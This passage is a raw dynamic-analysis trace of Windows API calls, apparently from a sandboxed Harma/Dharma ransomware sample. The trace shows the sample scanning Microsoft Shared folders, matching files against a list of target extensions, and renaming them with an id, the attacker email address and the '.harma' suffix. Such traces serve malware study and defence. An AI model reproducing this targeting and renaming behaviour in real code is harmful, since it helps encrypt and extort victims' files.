lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0133.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0133.452] lstrlenW (lpString=".doc") returned 4 [0133.452] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0133.452] lstrlenW (lpString=".docx") returned 5 [0133.452] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0133.452] lstrlenW (lpString=".pdf") returned 4 [0133.452] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0133.452] lstrlenW (lpString=".xls") returned 4 [0133.452] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0133.452] lstrlenW (lpString=".xlsx") returned 5 [0133.452] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0133.452] lstrlenW (lpString=".ppt") returned 4 [0133.452] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0133.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0133.452] lstrlenW (lpString=".zip") returned 4 [0133.452] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0133.452] lstrlenW (lpString=".rar") returned 4 [0133.452] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0133.452] lstrlenW (lpString=".bz2") returned 4 [0133.452] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0133.452] lstrlenW (lpString=".7z") returned 3 [0133.452] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0133.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0133.452] lstrlenW (lpString=".dbf") returned 4 [0133.452] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0133.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0133.452] lstrlenW (lpString=".1cd") returned 4 [0133.452] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0133.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0133.452] lstrlenW (lpString=".jpg") returned 4 [0133.452] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0133.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0133.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0133.453] lstrlenW (lpString=".doc") returned 4 [0133.453] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0133.453] lstrlenW (lpString=".docx") returned 5 [0133.453] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0133.453] lstrlenW (lpString=".pdf") returned 4 [0133.453] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0133.453] lstrlenW (lpString=".xls") returned 4 [0133.453] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0133.453] lstrlenW (lpString=".xlsx") returned 5 [0133.453] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0133.453] lstrlenW (lpString=".ppt") returned 4 [0133.453] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0133.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0133.453] lstrlenW (lpString=".zip") returned 4 [0133.453] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0133.453] lstrlenW (lpString=".rar") returned 4 [0133.453] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0133.453] lstrlenW (lpString=".bz2") returned 4 [0133.453] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0133.453] lstrlenW (lpString=".7z") returned 3 [0133.453] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0133.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0133.453] lstrlenW (lpString=".dbf") returned 4 [0133.453] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0133.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0133.453] lstrlenW (lpString=".1cd") returned 4 [0133.453] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0133.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0133.453] lstrlenW (lpString=".jpg") returned 4 [0133.453] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0133.454] lstrcmpiW (lpString1=".avi", lpString2=".harma") returned -1 [0133.454] lstrlenW (lpString="correct.avi") returned 11 [0133.454] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0133.454] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=197120) returned 1 [0133.454] CloseHandle (hObject=0x2a8) returned 1 [0133.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0133.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0133.455] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0133.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0133.455] lstrlenW (lpString=".doc") returned 4 [0133.455] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0133.455] lstrlenW (lpString=".docx") returned 5 [0133.455] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0133.455] lstrlenW (lpString=".pdf") returned 4 [0133.455] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0133.455] lstrlenW (lpString=".xls") returned 4 [0133.455] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0133.455] lstrlenW (lpString=".xlsx") returned 5 [0133.455] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0133.455] lstrlenW (lpString=".ppt") returned 4 [0133.455] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0133.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0133.455] lstrlenW (lpString=".zip") returned 4 [0133.455] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0133.455] lstrlenW (lpString=".rar") returned 4 [0133.455] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0133.455] lstrlenW (lpString=".bz2") returned 4 [0133.455] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0133.455] lstrlenW (lpString=".7z") returned 3 [0133.455] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0133.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0133.455] lstrlenW (lpString=".dbf") returned 4 [0133.455] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0133.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0133.455] lstrlenW (lpString=".1cd") returned 4 [0133.455] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0133.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0133.456] lstrlenW (lpString=".jpg") returned 4 [0133.456] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0133.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0133.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0133.456] lstrlenW (lpString=".doc") returned 4 [0133.456] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0133.456] lstrlenW (lpString=".docx") returned 5 [0133.456] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0133.456] lstrlenW (lpString=".pdf") returned 4 [0133.456] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0133.456] lstrlenW (lpString=".xls") returned 4 [0133.456] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0133.456] lstrlenW (lpString=".xlsx") returned 5 [0133.456] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0133.456] lstrlenW (lpString=".ppt") returned 4 [0133.456] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0133.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0133.456] lstrlenW (lpString=".zip") returned 4 [0133.456] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0133.456] lstrlenW (lpString=".rar") returned 4 [0133.456] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0133.456] lstrlenW (lpString=".bz2") returned 4 [0133.456] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0133.456] lstrlenW (lpString=".7z") returned 3 [0133.456] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0133.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0133.456] lstrlenW (lpString=".dbf") returned 4 [0133.456] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0133.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0133.456] lstrlenW (lpString=".1cd") returned 4 [0133.456] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0133.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0133.457] lstrlenW (lpString=".jpg") returned 4 [0133.457] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0133.457] lstrcmpiW (lpString1=".avi", lpString2=".harma") returned -1 [0133.457] lstrlenW (lpString="delete.avi") returned 10 [0133.457] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ac [0133.670] GetFileSizeEx (in: hFile=0x2ac, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=224256) returned 1 [0133.670] CloseHandle (hObject=0x2ac) returned 1 [0133.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0133.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0133.670] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0133.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0133.670] lstrlenW (lpString=".doc") returned 4 [0133.670] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0133.671] lstrlenW (lpString=".docx") returned 5 [0133.671] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0133.671] lstrlenW (lpString=".pdf") returned 4 [0133.671] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0133.671] lstrlenW (lpString=".xls") returned 4 [0133.671] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0133.671] lstrlenW (lpString=".xlsx") returned 5 [0133.671] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0133.671] lstrlenW (lpString=".ppt") returned 4 [0133.671] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0133.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0133.671] lstrlenW (lpString=".zip") returned 4 [0133.671] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0133.671] lstrlenW (lpString=".rar") returned 4 [0133.671] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0133.671] lstrlenW (lpString=".bz2") returned 4 [0133.671] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0133.671] lstrlenW (lpString=".7z") returned 3 [0133.671] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0133.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0133.671] lstrlenW (lpString=".dbf") returned 4 [0133.671] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0133.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0133.671] lstrlenW (lpString=".1cd") returned 4 [0133.671] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0133.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0133.671] lstrlenW (lpString=".jpg") returned 4 [0133.671] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0133.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0133.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0133.671] lstrlenW (lpString=".doc") returned 4 [0133.671] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0133.672] lstrlenW (lpString=".docx") returned 5 [0133.672] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0133.672] lstrlenW (lpString=".pdf") returned 4 [0133.672] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0133.672] lstrlenW (lpString=".xls") returned 4 [0133.672] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0133.672] lstrlenW (lpString=".xlsx") returned 5 [0133.672] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0133.672] lstrlenW (lpString=".ppt") returned 4 [0133.672] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0133.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0133.672] lstrlenW (lpString=".zip") returned 4 [0133.672] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0133.672] lstrlenW (lpString=".rar") returned 4 [0133.672] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0133.672] lstrlenW (lpString=".bz2") returned 4 [0133.672] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0133.672] lstrlenW (lpString=".7z") returned 3 [0133.672] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0133.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0133.672] lstrlenW (lpString=".dbf") returned 4 [0133.672] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0133.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0133.672] lstrlenW (lpString=".1cd") returned 4 [0133.672] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0133.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0133.673] lstrlenW (lpString=".jpg") returned 4 [0133.673] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0133.673] lstrcmpiW (lpString1=".dat", lpString2=".harma") returned -1 [0133.673] lstrlenW (lpString="hwruksh.dat") returned 11 [0133.673] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0134.025] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=2227968) returned 1 [0134.025] CloseHandle (hObject=0x320) returned 1 [0134.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat")) returned 0x20 [0134.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0134.025] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0134.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0134.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0134.025] lstrlenW (lpString=".doc") returned 4 [0134.025] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0134.025] lstrlenW (lpString=".docx") returned 5 [0134.026] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0134.026] lstrlenW (lpString=".pdf") returned 4 [0134.026] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0134.026] lstrlenW (lpString=".xls") returned 4 [0134.026] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0134.026] lstrlenW (lpString=".xlsx") returned 5 [0134.026] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0134.026] lstrlenW (lpString=".ppt") returned 4 [0134.026] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0134.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0134.026] lstrlenW (lpString=".zip") returned 4 [0134.026] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0134.026] lstrlenW (lpString=".rar") returned 4 [0134.026] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0134.026] lstrlenW (lpString=".bz2") returned 4 [0134.026] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0134.026] lstrlenW (lpString=".7z") returned 3 [0134.026] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0134.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0134.026] lstrlenW (lpString=".dbf") returned 4 [0134.026] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0134.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0134.026] lstrlenW (lpString=".1cd") returned 4 [0134.026] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0134.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0134.026] lstrlenW (lpString=".jpg") returned 4 [0134.026] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0134.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0134.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0134.026] lstrlenW (lpString=".doc") returned 4 [0134.026] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0134.026] lstrlenW (lpString=".docx") returned 5 [0134.027] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0134.027] lstrlenW (lpString=".pdf") returned 4 [0134.027] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0134.027] lstrlenW (lpString=".xls") returned 4 [0134.027] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0134.027] lstrlenW (lpString=".xlsx") returned 5 [0134.027] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0134.027] lstrlenW (lpString=".ppt") returned 4 [0134.027] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0134.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0134.027] lstrlenW (lpString=".zip") returned 4 [0134.027] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0134.027] lstrlenW (lpString=".rar") returned 4 [0134.027] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0134.027] lstrlenW (lpString=".bz2") returned 4 [0134.027] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0134.027] lstrlenW (lpString=".7z") returned 3 [0134.027] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0134.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0134.027] lstrlenW (lpString=".dbf") returned 4 [0134.027] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0134.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0134.027] lstrlenW (lpString=".1cd") returned 4 [0134.027] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0134.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0134.027] lstrlenW (lpString=".jpg") returned 4 [0134.027] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0134.027] lstrcmpiW (lpString1=".jpg", lpString2=".harma") returned 1 [0134.028] lstrlenW (lpString="OrangeCircles.jpg") returned 17 [0134.028] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0134.086] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=6381) returned 1 [0134.086] CloseHandle (hObject=0x21c) returned 1 [0134.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg")) returned 0x20 [0134.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0134.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0134.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0134.086] lstrlenW (lpString=".doc") returned 4 [0134.086] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0134.086] lstrlenW (lpString=".docx") returned 5 [0134.086] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0134.086] lstrlenW (lpString=".pdf") returned 4 [0134.086] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0134.086] lstrlenW (lpString=".xls") returned 4 [0134.086] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0134.086] lstrlenW (lpString=".xlsx") returned 5 [0134.086] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0134.087] lstrlenW (lpString=".ppt") returned 4 [0134.087] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0134.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0134.087] lstrlenW (lpString=".zip") returned 4 [0134.087] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0134.087] lstrlenW (lpString=".rar") returned 4 [0134.087] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0134.087] lstrlenW (lpString=".bz2") returned 4 [0134.087] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0134.087] lstrlenW (lpString=".7z") returned 3 [0134.087] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0134.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0134.087] lstrlenW (lpString=".dbf") returned 4 [0134.087] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0134.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0134.087] lstrlenW (lpString=".1cd") returned 4 [0134.087] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0134.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0134.087] lstrlenW (lpString=".jpg") returned 4 [0134.087] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0134.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0134.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0134.087] lstrlenW (lpString=".doc") returned 4 [0134.087] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0134.087] lstrlenW (lpString=".docx") returned 5 [0134.087] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0134.087] lstrlenW (lpString=".pdf") returned 4 [0134.087] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0134.087] lstrlenW (lpString=".xls") returned 4 [0134.087] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0134.087] lstrlenW (lpString=".xlsx") returned 5 [0134.087] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned 